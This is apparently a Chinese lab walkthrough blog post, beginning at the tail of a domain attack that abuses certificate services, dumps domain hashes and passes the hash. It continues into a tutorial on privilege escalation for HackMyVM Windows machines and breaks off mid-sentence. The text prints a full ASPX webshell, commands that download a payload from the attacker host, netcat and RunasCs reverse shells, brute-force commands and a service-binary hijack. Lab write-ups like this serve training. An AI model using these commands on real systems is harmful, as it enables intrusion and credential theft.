创建机器账户(临时)利用cslab这个域用户在目标域中创建一个新的机器账户,结果会返回一个临时用户tmpuser$和密码信息proxychains certipy-ad -debug account create -u 'cslab@cyberstrikelab.com' -p 'cs1ab@wwe' -dc-ip 10.6.6.55 -user tmpuser -dns DC.cyberstrikelab.com 参数来源/原因作用account create子命令在域中创建新的机器账户-user tmpuser自定义创建名为tmpuser$的机器账户-dns DC.cyberstrikelab.com从fscan结果获得设置机器账户的DNS主机名为什么要创建?Machine模板限制:有些证书模板(如Machine)只允许机器账户申请 隐蔽性:避免直接使用cslab账户进行敏感操作 权限要求:机器账户可以申请更广泛的证书类型 3.2.2 以机器账户请求证书通过新创建的机器账户 tmpuser$ 向目标域控制器(10.6.6.55)的证书颁发机构(CA)申请一个 机器证书(要多运行几次,运行一次可能成功不了)proxychains certipy-ad req \ -u 'tmpuser$@cyberstrikelab.com' \ -p 'kQb8YIJOWcKq69w5' \ -ca 'cyberstrikelab-DC-CA' \ -target 10.6.6.55 \ -template 'Machine' \ -dc-ip 10.6.6.55 参数来源/原因作用req子命令请求证书-u 'tmpuser$@...'上一步创建使用新创建的机器账户-p 'kQb8YIJOWcKq69w5'上一步输出机器账户的密码-ca 'cyberstrikelab-DC-CA'certipy find结果证书颁发机构的名称-target 10.6.6.55fscan扫描结果CA服务器的IP地址-template 'Machine'侦察发现利用存在漏洞的模板用dc.pfx 证书文件向域控制器 (10.6.6.55) 进行身份认证,却报了Kerberos时钟偏差,攻击机和域控时间是不能相差5分钟以上的┌──(root㉿kali)-[/data/demo] └─# proxychains certipy-ad auth -pfx dc.pfx -dc-ip 10.6.6.55 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.3 - by Oliver Lyak (ly4k) [*] Certificate identities: [*] SAN DNS Host Name: 'DC.cyberstrikelab.com' [*] Using principal: 'dc$@cyberstrikelab.com' [*] Trying to get TGT... [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:88 ... OK [-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) [-] Use -debug to print a stacktrace [-] See the wiki for more information 3.2.3 修复Kerberos时间偏差查询域控时间proxychains net time -S 10.6.6.55 3.2.4 使用证书进行身份验证修改时间参数,这样就能执行成功了┌──(root㉿kali)-[/data/demo] └─# faketime '2025-12-11 22:57:01' proxychains certipy-ad -debug auth -pfx dc.pfx -dc-ip 10.6.6.55 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.3 - by Oliver Lyak (ly4k) [+] Target name (-target) and DC host (-dc-host) not specified. Using domain '' as target name. This might fail for cross-realm operations [+] Nameserver: '10.6.6.55' [+] DC IP: '10.6.6.55' [+] DC Host: '' [+] Target IP: '10.6.6.55' [+] Remote Name: '10.6.6.55' [+] Domain: '' [+] Username: '' [*] Certificate identities: [*] SAN DNS Host Name: 'DC.cyberstrikelab.com' [*] Using principal: 'dc$@cyberstrikelab.com' [*] Trying to get TGT... [+] Sending AS-REQ to KDC cyberstrikelab.com (10.6.6.55) [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:88 ... OK [*] Got TGT [*] Saving credential cache to 'dc.ccache' [+] Attempting to write data to 'dc.ccache' [+] Data written to 'dc.ccache' [*] Wrote credential cache to 'dc.ccache' [*] Trying to retrieve NT hash for 'dc$' [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:88 ... OK [*] Got hash for 'dc$@cyberstrikelab.com': aad3b435b51404eeaad3b435b51404ee:97dc9f3da91660041ff88c17c8bbe7aa 参数来源/原因作用auth子命令使用证书进行Kerberos认证-pfx dc.pfx上一步生成包含私钥的证书文件-debug调试选项显示详细过程信息认证过程:证书提交:向域控(10.6.6.55)提交dc.pfx证书身份验证:证书证明申请者是DC$(域控制器机器账户)TGT获取:成功获取DC$的Kerberos票证授予票证(TGT)哈希提取:从TGT中提取DC$的NTLM哈希3.2.5 获取NTLM哈希用域控的机器账号 dc$ 的 NT 哈希,进行 Pass-the-Hash 身份验证,尝试从域控中提取所有域用户的凭据信息(如 NTLM 哈希等)。┌──(root㉿kali)-[/data/demo] └─# proxychains impacket-secretsdump cyberstrikelab.com/dc\$@10.6.6.55 -hashes aad3b435b51404eeaad3b435b51404ee:97dc9f3da91660041ff88c17c8bbe7aa [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:445 ... OK [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:135 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:49669 ... OK Administrator:500:aad3b435b51404eeaad3b435b51404ee:28cfbc91020438f2a064a63fff9871fa::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:416f4ea64c9c73ad29a4a69dcee5d8ca::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: cyberstrikelab.com\cslab:1104:aad3b435b51404eeaad3b435b51404ee:39b0e84f13872f51efb3b8ba5018c517::: DC$:1000:aad3b435b51404eeaad3b435b51404ee:97dc9f3da91660041ff88c17c8bbe7aa::: CYBERWEB$:1103:aad3b435b51404eeaad3b435b51404ee:7e5d2858c617c4ccf32b28241dc5b8b2::: tmpuser$:1105:aad3b435b51404eeaad3b435b51404ee:6fe8e4da8776622663eed7aba05de2f7::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:8583c13a9eca67e085ff0b68af74316bef0ebd3fb197bb235b76cbb72358f2ef Administrator:aes128-cts-hmac-sha1-96:6012285d474e3b60086965219ac7e31c Administrator:des-cbc-md5:208fc8f42fae3132 krbtgt:aes256-cts-hmac-sha1-96:0b820697b640266ced6843c4041131c1e3750000e00d47c0c597a82547927337 krbtgt:aes128-cts-hmac-sha1-96:c8f683e4cf2033fd75416667670e13bb krbtgt:des-cbc-md5:23dc674a76bf7adc cyberstrikelab.com\cslab:aes256-cts-hmac-sha1-96:34439b0bf9f6e1bf57d4d859215ed387a9c75e944ac053ddd1bc2f1e5b162048 cyberstrikelab.com\cslab:aes128-cts-hmac-sha1-96:84a132b5db39e2e652c08b8148fecb00 cyberstrikelab.com\cslab:des-cbc-md5:46f457ef2aad0e08 DC$:aes256-cts-hmac-sha1-96:2292c30804bdf9a61d170f48d38b30d3f843bb8310677ac7116e925f663edcbd DC$:aes128-cts-hmac-sha1-96:b583afdc96a04ec0ceda8dffdfa2e883 DC$:des-cbc-md5:a75801e31943a2dc CYBERWEB$:aes256-cts-hmac-sha1-96:c0418d75b0ef82607eadcd0f4793441aa17fc71df788e83a531ae87ce2cc92d9 CYBERWEB$:aes128-cts-hmac-sha1-96:3c602f53a3722c0a602a5adf2114354a CYBERWEB$:des-cbc-md5:6d5dd3261f38c862 tmpuser$:aes256-cts-hmac-sha1-96:952c1a920206e3a5852ea56dfdde77acb8270bf12628c29a7f702a9cdc8fb081 tmpuser$:aes128-cts-hmac-sha1-96:1174b1ae9d7f4b04fd5eef81bcbd2144 tmpuser$:des-cbc-md5:795d80ec58cdd5a8 [*] Cleaning up... 参数来源/原因作用impacket-secretsdump工具选择远程提取密码哈希的工具cyberstrikelab.com/dc\$@10.6.6.55目标指定使用dc$账户连接域控-hashes ...上一步获得提供dc$的LM和NTLM哈希dc\$中的\Shell转义防止$被Shell解释为变量3.2.6 PTHPTH,拿下域控,在根目录获取最后的flag┌──(root㉿kali)-[/data/demo] └─# proxychains impacket-psexec -hashes :28cfbc91020438f2a064a63fff9871fa cyberstrikelab.com/administrator@10.6.6.55
2025年12月13日
900 阅读
0 评论
0 点赞
2025-10-26
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
通过网盘分享的文件:机器地址 链接:https://pan.baidu.com/s/142B68xL_2UOhwLipeci1Kg提取码: v6h1又来码字了,正如你所见,这是一篇2w字的长文相比上一篇文章DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏这篇文章主要是基于Windows的渗透教程基本下班时候回家才写的,还是很有学习价值的,很适合不了解Windows渗透和域渗透的师傅们这些靶机都是免费开源的,域渗透这块也写的很详细这次靶场渗透,DC01,DC02,DC03,DC04是域渗透,也是Hackmyvm中的全部Windows机器不是vulnhub上的9个dc,难度相对来说比较难,其他为提权靶机,提权Linux在Linux中学的比较好的话,在Windows这块应该也不是问题Linux渗透以及提权文章合集(基于vulnhub和红日靶场):https://longyusec.com/longyushoulu/oscpdaba/适合刚开始学Windows提权的师傅们,顺序由最简单,到最难,由提权到域渗透以及kerberos攻击、土豆提权、烂土豆提权、runas提权、MSF内核漏扫、hash传递(PTH)域内SID枚举等等。如果在复现的过程中出现了什么问题,欢迎师傅们添加我的微信交流,+ bAIbAIxiaoyu2024在开始之前,先打一波广告点击即达1、HackMyVm-OMG :简单1.1 信息打点这个靶机比较简单,主要需要考虑web的全面目录扫描,包括.开头的隐藏文件首先是80端口全端口扫描1.2 目录扫描这里有一个xampp可以利用dirsearch -u http://10.10.10.156/1.3 全面目录扫描使用各种目录扫描,爆出来一个.version隐藏文件gobuster dir -u http://10.10.10.156/dashboard/ -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx,heml,zip wfuzz -u http://10.10.10.156/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --sc 200 wfuzz -u http://10.10.10.156/images/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --sc 200 wfuzz -u http://10.10.10.156/Webalizer/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --sc 200 wfuzz -u http://10.10.10.156/xampp/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --sc 200使用curl查看版本信息,这是php的版本curl http://10.10.10.156/xampp/.version1.4 漏洞利用漏洞原理,找了半天才找到,可以查看下面这个文章,漏洞利用如下https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv2、HackMyVm-quoted :简单2.1 信息打点web界面2.2 FTP匿名登录端口扫描,看到了可以匿名登录利用FTP匿名登录,账号FTP,密码没有,直接回车就能连接FTP服务器,发现这个FTP服务器,就是web目录,尝试使用put上传一个file.txt测试文件访问这个file文件,上传成功!2.3 获取shell我们上传一个cmdasp.aspx上去这个文件Kali自带,在 /usr/share/webshells/aspx/cmdasp.aspx源码如下<%@ Page Language="C#" Debug="true" Trace="false" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %> <script Language="c#" runat="server"> void Page_Load(object sender, EventArgs e) { } string ExcuteCmd(string arg) { ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = "/c "+arg; psi.RedirectStandardOutput = true; psi.UseShellExecute = false; Process p = Process.Start(psi); StreamReader stmrdr = p.StandardOutput; string s = stmrdr.ReadToEnd(); stmrdr.Close(); return s; } void cmdExe_Click(object sender, System.EventArgs e) { Response.Write("<pre>"); Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text))); Response.Write("</pre>"); } </script> <HTML> <HEAD> <title>awen asp.net webshell</title> </HEAD> <body > <form id="cmd" method="post" runat="server"> <asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox> <asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button> <asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label> </form> </body> </HTML> <!-- Contributed by Dominic Chell (http://diGitalapocalypse.blogspot.com/) --> <!-- http://michaeldaw.org 04/2007 -->我们找到这个1.exe,可以使用如下cmd命令进行定位,MSF注意监听,即可反弹过来where /r c:\ shell.exe # 查找在c盘指定文件的位置2.4 MSF内核漏扫在meteroreter模块中使用bg命令,将这个会话运行在后台,使用本地提权扫描模块,设置好相关的配置启动扫描,这个靶机有10个提权漏洞10个提权payload 只有exploit/Windows/local/ms16_075_reflection_juicy这个模块使用成功3、HackMyVm-Zero :简单3.1 信息打点nmap -sS 192.168.53.9 -T4nmap -sS -p 53,88,135,139,389,445,464,593,636,3268,3269,5985 192.168.53.9 -T4 -A使用enum4Linux-ng枚举目标系统信息,发现SMB服务开启,且支持SMB1.0协议,可能存在永恒之蓝漏洞enum4Linux-ng -A 192.168.53.9 -C/3.2 漏洞扫描使用nmap进行端口漏洞扫描,确实存在永痕之蓝漏洞3.3 漏洞利用永痕之蓝漏洞直接打开MSF(复现的过程中,可能需要手工使用永痕之蓝poc,可以参考下面文章)https://hgbe02.github.io/Hackmyvm/Zero.html4、HackMyVm-Simple :简单4.1 信息打点端口扫描web界面,通过界面可能存在的系统用户如下ruy, marcos, lander, bogo, vAIper4.2 nxc服务爆破把上面的几个用户,追加到一个字典中,并使用这些用户作为密码进行爆破或者使用rokyou.txtnxc SMB 192.168.0.139 -u user -p user nxc SMB 192.168.0.139 -u user -p /usr/share/wordlists/rokyou.txt发现是紫色的提示,翻译一下错误就能发现,这密码过期了,需要登录到虚拟机上修改这个账号的密码4.3 近源攻击按esc进入用户列表,选择bogo用户:输入正确的密码bogo后,需要你修改密码尝试执行命令,一切正常4.4 SMB渗透再来到SMB登录这块,就能正常登录了再LOGS共享文件中发现了一个日志文件,使用get命令将它下载下来尝试将之前的用户字典上传上去,使用put命令,发现没有上传权限日志内容┌──(root㉿Kali)-[/data/demo] └─# cat 20231008.log PS C:\> dir \\127.0.0.1\WEB Acceso denegado At line:1 char:1 + dir \\127.0.0.1\WEB + ~~~~~~~~~~~~~~~~~~~ + CategoryInfo : PermissionDenied: (\\127.0.0.1\WEB:String) [Get-ChildItem], UnauthorizedAccessException + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand Cannot find path '\\127.0.0.1\WEB' because it does not exist. At line:1 char:1 + dir \\127.0.0.1\WEB + ~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (\\127.0.0.1\WEB:String) [Get-ChildItem], ItemNotFoundException + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand PS C:\> net use \\127.0.0.1\WEB Se ha completado el comando correctamente. PS C:\> dir \\127.0.0.1\WEB Acceso denegado At line:1 char:1 + dir \\127.0.0.1\WEB + ~~~~~~~~~~~~~~~~~~~ + CategoryInfo : PermissionDenied: (\\127.0.0.1\WEB:String) [Get-ChildItem], UnauthorizedAccessException + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand Cannot find path '\\127.0.0.1\WEB' because it does not exist. At line:1 char:1 + dir \\127.0.0.1\WEB + ~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (\\127.0.0.1\WEB:String) [Get-ChildItem], ItemNotFoundException + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand PS C:\> net use \\127.0.0.1\WEB /user:marcos SuperPassword Se ha completado el comando correctamente. PS C:\> dir \\127.0.0.1\WEB Directorio: \\127.0.0.1\WEB Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 10/8/2023 9:46 PM aspnet_client -a---- 9/26/2023 6:46 PM 703 iisstart.htm -a---- 10/8/2023 10:46 PM 158 test.php PS C:\> rm \\127.0.0.1\WEB\*.php PS C:\> dir \\127.0.0.1\WEB Directorio: \\127.0.0.1\WEB Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 10/8/2023 9:46 PM aspnet_client -a---- 9/26/2023 6:46 PM 703 iisstart.htm PS C:\>又得到了一个账号密码user:marcos SuperPassword这个用户也是一样,密码过期,需要重新设置一下密码,重复之前的步骤就好了尝试使用put将一个文件上传上去,上传成功!有上传的权限,那么就可以将aspx马上传上去(这里的web大概率就是网站的web目录了)4.5 获取shell尝试使用put命令上传文件cd /usr/share/webshells/aspx SMBclient //192.168.0.139/WEB/ -U marcos # 密码 SuperPassword put cmdasp.aspx访问这个马使用MSFvenom生成反弹shell的木马MSFvenom -p Windows/meterpreter/reverse_tcp LHOST=192.168.0.147 LPORT=4444 -f exe -o shell.exe python3 -m http.server使用下载命令,将这个木马上传到靶机上certutil -urlcache -split -f http://192.168.0.147:8000/shell.exe c:\shell.exe # 或者利用SMBclient上传也可以,此时只需要输入一个shell.exe在那个aspx命令执行界面打开MSF启动监听use multi/handler set payload Windows/meterpreter/reverse_tcp set lhost 192.168.0.147 run在命令执行的aspx的输入框中输入这个shell.exe的绝对路径就可以执行,利用下面这个命令定位马的位置where /r c:\ shell.exec:\inetpub\wwwroot\shell.exe执行马4.6 MSF内核漏洞扫描bg use multi/recon/local_exploit_suggester set session 1 run尝试利用扫描出来的漏洞use Windows/local/CVE_2020_0787_bits_arbitrary_file_move存在漏洞但是始终没有创建shell会话找到CVE-2020-0787的exp# 源码 https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION.git# 创建好的https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases/download/1/BitsArbitraryFileMoveExploit.exe此时去上传文件(这里我换了一个网,ip就变了,我用的桥接模式,使用vmbox用nat模式会出问题,导致vmware的虚拟器Kali访问不到vmbox,这是最简单的解决方法)SMBclient //192.168.110.46/WEB/ -U marcos put BitsArbitraryFileMoveExploit.exe提权失败4.7 土豆提权切换提权方式土豆提权,将这些全都下载下来https://github.com/BeichenDream/GodPotato/releases/tag/V1.20可以看到这里我们执行的whoami已经是系统权限了,此时我们只需要添加一个反弹一个shell到本地来就可以了MSF反弹shellshell反弹过来后,却不是system权限,接下来要将这个木马设置为系统权限,而不是这个用户的文件,类似于Linux中的属主4.8 修改文件权限GodPotato-NET4.exe -cmd "cmd /c takeown /f c:\inetpub\wwwroot\shell.exe /a"重新反弹即可5、HackMyVm-Liar :简单5.1 信息打点nmap -sS 192.168.53.131 -p- -T4这里有一个用户名nica使用nmap进行详细的端口扫描nmap -sS 192.168.53.131 -p 80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49677 -T4 -A5.2 enum4Linux枚举使用enum4Linux-ng枚举目标系统信息,SMB服务器开启enum4Linux-ng -A 192.168.53.131 -C尝试免密登录,登录失败了smbclient -L //192.168.53.131/ -N这个免密登录 -N参数就代表着: “空用户名 + 空密码” 的身份,在 Windows 系统中对应的就是anonymous用户也就是相当于你执行了命令 smbclient -L\192.168.56.114 -U anonymous5.3 nxc内网渗透使用smb爆破nxc smb 192.168.53.131 -u nica -p /usr/share/wordlists/metasploit/burnett_top_1024.txt爆破结果nica:hardcore,使用账号密码登录smb服务器从当前操作结果来看,nica用户虽然凭据有效(能登录IPC$),但权限较低,无法访问C$、ADMIN$等敏感共享5.4 远程连接5985端口开启 ,使用windows版本的ssh连接此服务,可以看到能正常执行命令,登录成功evil-winrm -i 192.168.53.131 -u nica -p hardcore看看有哪些用户,大概率就是akanksha用户继续获得其他信息了继续爆破nxc smb 192.168.53.131 -u akanksha -p /usr/share/wordlists/rockyou.txt这也是一个低权限用户这里就连接不上了evil-winrm -i 192.168.53.131 -u akanksha -p sweetgirl5.5 RunasCs提权那么我们使用工具https://github.com/antonioCoco/RunasCs以指定用户权限执行命令*Evil-WinRM* PS C:\Users\nica> upload RunasCs.exe Info: Uploading /root/Desktop/RunasCs.exe to C:\Users\nica\RunasCs.exe Data: 68948 bytes of 68948 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\Users\nica> dir Directorio: C:\Users\nica Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 9/15/2018 9:12 AM Desktop d-r--- 9/26/2023 6:44 PM Documents d-r--- 9/15/2018 9:12 AM Downloads d-r--- 9/15/2018 9:12 AM Favorites d-r--- 9/15/2018 9:12 AM Links d-r--- 9/15/2018 9:12 AM Music d-r--- 9/15/2018 9:12 AM Pictures d----- 9/15/2018 9:12 AM Saved Games d-r--- 9/15/2018 9:12 AM Videos -a---- 7/14/2024 10:49 PM 51712 RunasCs.exe -a---- 9/26/2023 6:44 PM 10 user.txt *Evil-WinRM* PS C:\Users\nica> ./RunasCs.exe akanksha sweetgirl cmd.exe -r 192.168.53.51:4567 [+] Running in session 0 with process function CreateProcessWithLogonW() [+] Using Station\Desktop: Service-0x0-2922e6$\Default [+] Async process 'C:\Windows\system32\cmd.exe' with pid 2496 created in background.> nc -lvnp 4567 listening on [any] 4567 ... connect to [192.168.53.51] from (UNKNOWN) [192.168.53.131] 49674 Microsoft Windows [Versi�n 10.0.17763.107] (c) 2018 Microsoft Corporation. Todos los derechos reservados. C:\Windows\system32>成功弹回了shellC:\Users>whoami /groups whoami /groupsINFORMACI�N DE GRUPO--------------------Nombre de grupo Tipo SID Atributos============================================ ============== ============================================== ========================================================================Todos Grupo conocido S-1-1-0 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitadoWIN-IURF14RBVGV\Idministritirs Alias S-1-5-21-2519875556-2276787807-2868128514-1002 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitadoBUILTIN\Usuarios Alias S-1-5-32-545 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitadoNT AUTHORITY\INTERACTIVE Grupo conocido S-1-5-4 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitadoINICIO DE SESI�N EN LA CONSOLA Grupo conocido S-1-2-1 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitadoNT AUTHORITY\Usuarios autentificados Grupo conocido S-1-5-11 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitadoNT AUTHORITY\Esta compa��a Grupo conocido S-1-5-15 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitadoNT AUTHORITY\Cuenta local Grupo conocido S-1-5-113 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitadoNT AUTHORITY\Autenticaci�n NTLM Grupo conocido S-1-5-64-10 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitadoEtiqueta obligatoria\Nivel obligatorio medio Etiqueta S-1-16-8192所属组是Idministritirs 也就是AdministratorC:\Users\Administrador>dir dir El volumen de la unidad C no tiene etiqueta. El n�mero de serie del volumen es: 26CD-AE41Directorio de C:\Users\Administrador26/09/2023 18:36 <DIR> .26/09/2023 18:36 <DIR> ..26/09/2023 15:11 <DIR> 3D Objects26/09/2023 15:11 <DIR> Contacts26/09/2023 15:11 <DIR> Desktop26/09/2023 15:11 <DIR> Documents26/09/2023 15:11 <DIR> Downloads26/09/2023 15:11 <DIR> Favorites26/09/2023 15:11 <DIR> Links26/09/2023 15:11 <DIR> Music26/09/2023 15:24 16.418 new.cfg26/09/2023 15:11 <DIR> Pictures26/09/2023 18:36 13 root.txt26/09/2023 15:11 <DIR> Saved Games26/09/2023 15:11 <DIR> Searches26/09/2023 15:11 <DIR> Videos2 archivos 16.431 bytes14 dirs 45.911.502.848 bytes libresC:\Users\Administrador>type root.txttype root.txtHMV1******6、HackMyVm-Nessus :简单6.1 端口扫描6.2 漏洞扫描nmap -sS -p 135,139,445,5985,8834 192.168.53.238 -T4 -A --script=vuln在访问这个端口的时候,提示你需要使用https访问那就使用https访问,没有账号密码,登录不进去6.3 查看smb服务尝试免密连接smb服务,可以正常连接,并且里面有两个PDF看看什么内容My Basic Network Scan_hwhm7q.pdfWeb Application Tests_f6jg9t.pdf发现作者信息,joseexiftool [pdf]6.4 爆破Nessus后台前面已经发现了,smb是可以免密登录的,那么现在就只有nessus爆破了,来到nessus登录界面,抓包,添加爆破的payload根据这些数据包,使用wfuzz进行爆破因为要用到Kali中的rockyou.txt字典(也可以将rockyou.txt传到本机windows进行爆破)wfuzz -c -z file,/usr/share/wordlists/rockyou.txt \ -X POST \ -H "Host: 192.168.53.238:8834" \ -H "X-Api-Token: 4c746180-a399-4abd-a9a0-49055fac236f" \ -H "Content-Type: application/json" \ -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36" \ -H "Origin: https://192.168.53.238:8834" \ -H "Referer: https://192.168.53.238:8834/" \ -d '{"username":"jose","password":"FUZZ"}' \ --hc 401,403 \ -f result.txt,raw \ https://192.168.53.238:8834/session得到密码,tequiero当前nessus版本为10.7.3,应该是比较新的,没有什么漏洞,或者漏洞没有公开(去网上搜了下,可能有一个本地提权漏洞,但是exp没有公开)6.5 盗取认证信息来到代理界面,尝试查看源码查看密码,查看失败那么就利用代理,发送数据包到Kali中,看看有没有密码出现,Kali记得开ncKali得到的信息,没有密码信息一个一个切换,当我切换到basic这个内容nc接收到的数据包如下,发现一段密文得到认证信息,解密后就是账号密码nesus:Z#JuXH$ph-;v@,X&mV)得到账号密码,和之前那个靶机一样,需要修改登录的密码,这个已经过期了nxc smb 192.168.53.238 -u nesus -p 'Z#JuXH$ph-;v@,X&mV)'6.6 近源攻击!!按两次Esc键,来到选择账户界面修改你的账号密码修改密码为123456,登录smb,发现什么也没有6.7 远程连接那就来到5985端口,执行命令成功!evil-winrm -i 192.168.53.238 -u nesus -p 1234566.8 反弹shell这里我尝试了各种MSF的木马,都被杀软给杀了,无意间使用nc的时候就不会被杀,使用nc进行反弹shell(Kali记得开监听)./nc.exe 192.168.53.51 1234 -e cmd6.9 提权6.9.1 local_exploit_suggester提权打开msf(这一步其实很多余,这样子是扫不出来的,基本只有后渗透模块meterperter才能使用)msfconsole use exploit/multi/handler # 加载handler模块 # 根据目标系统选择payload(nc反弹的是基础shell,非meterpreter)# 目标是Windows,接收nc命令反弹的shell:set PAYLOAD windows/shell_reverse_tcpset LHOST 192.168.53.51 # 攻击机IP(与nc反弹目标一致)set LPORT 1234 # 监听端口(与nc反弹端口一致)run -j # 启动监听,保持后台执行use multi/recon/local_exploit_suggester # 使用本地提权漏扫模块set session 3 # 设置反弹成功的会话id为3,使用 sessions 即可查看所有的会话id6.9.2 PrivescCheck提权内网常见的提权和信息收集文章参考:https://www.cnblogs.com/Hekeats-L/p/16879325.html工具链接:https://github.com/itm4n/PrivescCheck/releases/tag/2025.10.06-1upload PrivescCheck.ps1 Set-ExecutionPolicy Bypass -Scope process -FoRCE ./PrivescCheck.ps1 # 或者. .\PrivescCheck.ps1 Invoke-PrivescCheck有一个高危的提权漏洞看看文件信息每一项描述如下(如果您精通linux提权的话,将会和linux进行类比)Name服务的 “内部名字”(操作服务时用,比如启停服务)nginx 服务的内部名就是 “nginx”(用systemctl restart nginx时的名字)后续想重启这个服务,要用到这个名字DisplayName服务的 “显示名字”(在 Windows 服务面板里看到的名字,方便你找到它)nginx 在 Linux 里的显示名可能是 “nginx - high performance web server”确认你改的是对的服务,别改错了User这个服务是用 “LocalSystem” 权限运行的(Windows 里的最高权限,比管理员还高)类比 Linux 里用 “root” 用户运行的 nginx 服务提权的关键!服务跑在最高权限,改了它的程序就能拿最高权限ImagePath服务启动时会执行的 “核心 exe 文件路径”(就是你要替换的那个文件)类比 Linux 里 nginx 守护进程的路径/usr/sbin/nginx目标文件!把这个 exe 换成恶意程序就行StartMode服务是 “自动启动” 的(开机或服务崩溃后会自己重启)类比 Linux 里systemctl enable nginx(开机自启)替换文件后不用手动触发,重启机器 / 服务就会执行恶意程序Type服务是 “独立进程”(启动时只跑这个 exe,不依赖其他程序)类比 Linux 里 nginx 是独立进程(ps aux | grep nginx能看到单独的进程) RegistryKey/Path服务在 Windows 注册表中的配置路径(不用管,提权用不上)类比 Linux 里 nginx 的配置文件路径/etc/nginx/nginx.conf(但这里是注册表,不用管)次要信息,不用关注Status服务当前状态(空,因为前面警告没查到)类比 Linux 里systemctl status nginx报错,看不到 “active” 还是 “inactive”后续手动用命令查就行,不影响提权UserCanStart你当前用户 “不能手动启动这个服务”类比 Linux 里普通用户不能systemctl start nginx没关系,能重启机器或杀进程间接触发UserCanStop你当前用户 “不能手动停止这个服务”类比 Linux 里普通用户不能systemctl stop nginx没关系,用taskkill(类比 Linux 的 kill)杀进程就行ModifiablePath你能修改的文件路径 —— 就是上面说的那个要替换的 exe(nessus-service.exe)类比 Linux 里ls -l /usr/sbin/nginx显示你有 w 权限,能改这个文件明确告诉你 “要改哪个文件”IdentityReference拥有这个修改权限的用户 —— 就是你当前的 “NESSUS\nesus” 用户类比 Linux 里ls -l /usr/sbin/nginx显示 “ubuntu rwx”(你的用户有权限)确认 “是你自己有这个改文件的权限”Permissions你的权限是 “完全控制”(能改、能删、能替换这个 exe,想干嘛干嘛)类比 Linux 里的 “rwx” 权限,尤其是 “w”(写入)权限 总结一下:你当前的nesus用户,能完全控制一个叫Tenable Nessus的服务 —— 这个服务是用 Windows 最高权限(LocalSystem,类比 Linux root)运行的,启动时会执行nessus-service.exe。而且这个服务是开机自动启动的,你只要把nessus-service.exe换成恶意程序,下次服务启动(重启机器 / 杀进程),恶意程序就会用最高权限跑起来 —— 和你在 Linux 里替换 root 运行的/usr/sbin/nginx、重启后拿 